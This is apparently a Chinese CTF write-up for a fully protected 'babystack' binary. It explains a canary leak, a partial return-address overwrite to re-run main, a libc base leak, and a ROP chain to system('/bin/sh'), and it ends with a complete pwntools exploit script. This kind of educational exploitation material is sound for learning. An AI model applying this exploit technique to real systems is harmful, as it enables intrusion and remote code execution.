一道栈溢出babystack
我太天真了,师傅说让我做做这个平台的题,我就注册了个号,信心满满的打开了change,找到了pwn,一看第一道题是babystack,我想着,嗯,十分钟搞定他!直到我下载了题目,题目给了libc,然后我检查了一下elf的保护,我发现我错了。。。
这尼玛保护全开是什么鬼...😭
来IDA看一下伪代码是要让干什么。
箭头指向两个read函数和一个printf函数,两个read函数都可以进行溢出,printf函数是第一个溢出的回显。那么我们首先想到我就是,第一次溢出的时候,我们用来leak canary。如果是其他题目的话,这道题就算结束了,直接rop常规操作就走下来了,但是这道题不一样,这道题还开了pie,函数地址会随机化,我们不能直接利用gadget。接下来就是想办法泄露基地址了。
在这里需要补充个知识点。
程序在执行的过程中,其实简略版的启动是这么调用的:start-->__libc_start_main-->main。main函数其实是由__libc_start_main函数调用的,所以main函数的返回地址其实是调用main函数的下面的一行地址。如果我们可以知道__libc_start_main和main函数的返回地址差多少,我们再减去__libc_start_main函数的偏移,就能得到libc的基地址,就可以用libc中的gadget了。
我们一步一步来,第一次leak canary就不演示了。直接看第第二次溢出的时候的栈空间布局。
rbp下面是返回地址,pwndbg很明显的给我们标出来是__libc_start_main + 240的位置。那我们想办法leak这个地址就行。不过很明显,运行一次main函数是不够的,必须重复运行main函数,那么这个时候有一个技巧就是覆盖main函数返回地址的末字节,这样程序就有机会能再次运行,为什么说是有机会呢?我们来看一下__libc_start_main调用main函数周围的汇编。
图片中箭头所指的地方就是调用main函数的指令,可以看见不是我们想象的call main,是call rax,假如我们直接把末字节覆盖成2e,其实是不能再次运行程序的,因为你不能保证rax是调用main函数的值。这里如果耐心一点读读汇编就可以确定覆盖成什么可以直接再次调用main函数,我为了不动脑子,就乱覆盖,直到找到一个可以再次执行的,其实也用不了多长时间,我大概测试了十几个数,就确定了一个。
不过有一点需要注意,就是再次往回调的时候,我们不能乱覆盖rbp,应为leave ret会进行恢复栈的操作,所以一旦rbp被破坏了,那么就回不去了。
那么我们就只有在第一次程序运行的时候的第一次溢出同时泄露canary和rbp。
接下来程序第二次执行,第一次溢出就leak mian函数的返回地址,这个时候其实通过计算就可以得到libc的基地址了,第二次溢出到one_gadget。就可以拿到shell了。
其实感觉已经说的很清晰了,题目是内部平台下载的,就不说是哪里的题目了(咳咳,自己发现),反正是感觉学习到很多东西,也算是一种新姿势。最后贴一下exp:
from pwn import * context(log_level='DEBUG') p = process('./babystack') libc = ELF('./libc6_2.23-0ubuntu10_amd64.so',checksec=False) p.sendafter('name: ','U'*0x88 + '\xFF') p.recvuntil('\xFF') canary = u64('\x00' + p.recv(7)) stack = u64(p.recv(6).ljust(8,'\x00')) payload = 'U'*0x88 + p64(canary) + p64(stack) + '\x8d' print 'canary-->' + hex(canary) print 'stack-->' + hex(stack) #gdb.attach(p) p.send(payload) payload = 'U'*0x97 + '\xFF' p.sendafter('name: ',payload) p.recvuntil('\xFF') addr = u64(p.recv(6).ljust(8,'\x00')) print '-------------->' + hex(addr) libc_base = addr - 240 - libc.sym['__libc_start_main'] libc.address = libc_base print 'libc main start ------>' + hex(addr-240) og = [0x4f2c5,0x4f322,0x10a38c] one_gadget = libc_base + og[2] system_addr = libc_base + 0x045390 binsh_addr = libc_base + 0x18cd57 pop_rdi = libc_base + 0x0021102 payload = 'U'*0x88 + p64(canary) + p64(stack) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.send(payload) p.interactive()